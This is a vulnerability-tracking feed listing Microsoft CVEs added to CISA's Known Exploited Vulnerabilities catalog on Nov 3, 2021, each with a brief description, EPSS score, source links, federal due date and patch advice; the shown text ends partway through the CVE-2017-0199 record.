CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Spoofing Vulnerability
https://kevwire.com/record/CVE-2020-1464
Microsoft Windows Spoofing Vulnerability (Nov 3, 2021).
Microsoft Windows contains a spoofing vulnerability when Windows incorrectly validates file signatures, allowing an attacker to bypass security features and load improperly signed files.
EPSS 38.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1464&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1464&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-1732
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 78.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1732&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1732: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1732&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Print Spooler Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-34527
Microsoft Windows Print Spooler Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows Print Spooler contains an unspecified vulnerability due to the Windows Print Spooler service improperly performing privileged file operations. Successful exploitation allows an attacker to perform remote code execution with SYSTEM privileges. The vulnerability is also known under the moniker of PrintNightmare.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34527&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-34527: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34527&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2021-31207
Microsoft Exchange Server Security Feature Bypass Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for security feature bypass.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31207&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31207: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31207&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0803
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k contains an unspecified vulnerability due to it failing to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.
EPSS 45.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0803&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0803: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0803&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Hyper-V RemoteFX vGPU Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-1040
Microsoft Hyper-V RemoteFX vGPU Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Hyper-V RemoteFX vGPU contains an improper input validation vulnerability due to the host server failing to properly validate input from an authenticated user on a guest operating system. Successful exploitation allows for remote code execution on the host operating system.
EPSS 7.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1040&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1040&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-28310
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 8.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-28310&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-28310: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-28310&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows DNS Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-1350
Microsoft Windows DNS Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows DNS Servers fail to properly handle requests, allowing an attacker to perform remote code execution in the context of the Local System Account. The vulnerability is also known under the moniker of SIGRed.
EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1350&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1350: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1350&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-26411
Microsoft Internet Explorer Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains an unspecified vulnerability that allows for memory corruption.
EPSS 81.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26411&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26411: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26411&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0859
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k fails to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.
EPSS 4.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0859&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0859: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0859&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft MSHTML Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-40444
Microsoft MSHTML Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft MSHTML contains a unspecified vulnerability that allows for remote code execution.
EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40444&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40444: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40444&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft .NET Framework Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-8759
Microsoft .NET Framework Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft .NET Framework contains a remote code execution vulnerability when processing untrusted input that could allow an attacker to take control of an affected system.
EPSS 88.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8759&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-8759: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8759&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2018-8653
Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains a memory corruption vulnerability due to how the Scripting Engine handles objects in memory, leading to remote code execution.
EPSS 29.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8653&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8653: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8653&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0797
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k contains a privilege escalation vulnerability when the Win32k component fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0797&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0797: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0797&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability
https://kevwire.com/record/CVE-2021-36942
Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability (Nov 3, 2021).
Microsoft Windows Local Security Authority (LSA) contains a spoofing vulnerability allowing an unauthenticated attacker to call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM.
EPSS 66.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36942&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36942: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36942&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1215
Microsoft Windows Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows contains an unspecified vulnerability due to the way ws2ifsl.sys (Winsock) handles objects in memory, allowing for privilege escalation. Successful exploitation allows an attacker to execute code with elevated privileges.
EPSS 19.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1215&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1215: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1215&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2018-0798
Microsoft Office Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0802.
EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0798&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0798: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0798&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2018-0802
Microsoft Office Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0798.
EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0802&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0802: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0802&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft MSCOMCTL.OCX Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-0158
Microsoft MSCOMCTL.OCX Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft MSCOMCTL.OCX contains an unspecified vulnerability that allows for remote code execution, allowing an attacker to take complete control of an affected system under the context of the current user.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0158&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0158: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0158&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-1641
Microsoft Office Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Office contains a memory corruption vulnerability due to failure to properly handle rich text format files in memory. Successful exploitation allows for remote code execution in the context of the current user.
EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1641&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1641: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1641&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-27085
Microsoft Internet Explorer Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains an unspecified vulnerability that allows for remote code execution.
EPSS 5.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27085&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27085&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft MSHTML Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-0541
Microsoft MSHTML Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft MSHTML engine contains an improper input validation vulnerability that allows for remote code execution vulnerability.
EPSS 53.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0541&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0541: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0541&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2017-11882
Microsoft Office Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Office contains a memory corruption vulnerability that allows remote code execution in the context of the current user.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11882&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-11882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11882&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-0674
Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains a memory corruption vulnerability due to the way the Scripting Engine handles objects in memory. Successful exploitation could allow remote code execution in the context of the current user.
EPSS 86.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0674&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0674&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-27059
Microsoft Office Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Office contains an unspecified vulnerability that allows for remote code execution.
EPSS 6.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27059&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27059: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27059&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2019-1367
Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability (Nov 3, 2021).
Microsoft Internet Explorer contains a memory corruption vulnerability in how the scripting engine handles objects in memory. Successful exploitation allows for remote code execution in the context of the current user.
EPSS 52.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1367&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1367: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1367&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office and WordPad Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0199
Microsoft Office and WordPad Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Office and WordPad contain an unspecified vulnerability due to the way the applications parse specially crafted files. Successful exploitation allows for remote code execution.
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0199&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0199&date=2026-10-25
